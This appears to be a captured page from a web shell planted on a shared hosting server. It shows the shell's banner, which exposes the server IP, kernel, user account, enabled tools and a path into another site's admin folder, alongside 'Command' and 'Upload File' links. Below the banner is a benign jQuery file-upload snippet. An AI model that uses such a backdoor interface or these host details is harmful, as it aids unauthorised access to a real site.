Server IP : 103.53.40.154 / Your IP : 3.145.8.2 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/ppcad7no/panshimart.com/../natureamrit.com/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
var abc = 0; //Declaring and defining global increement variable $(document).ready(function() { //To add new input file field dynamically, on click of "Add More Files" button below function will be executed $('#add_more').click(function() { $(this).before($("<div/>", {id: 'filediv'}).fadeIn('slow').append( $("<input/>", {name: 'file[]', type: 'file', id: 'file'}), $("<br/><br/>") )); }); $('#upload').click(function(e) { var name = $(":file").val(); if (!name) { alert("First Image Must Be Selected"); e.preventDefault(); } }); });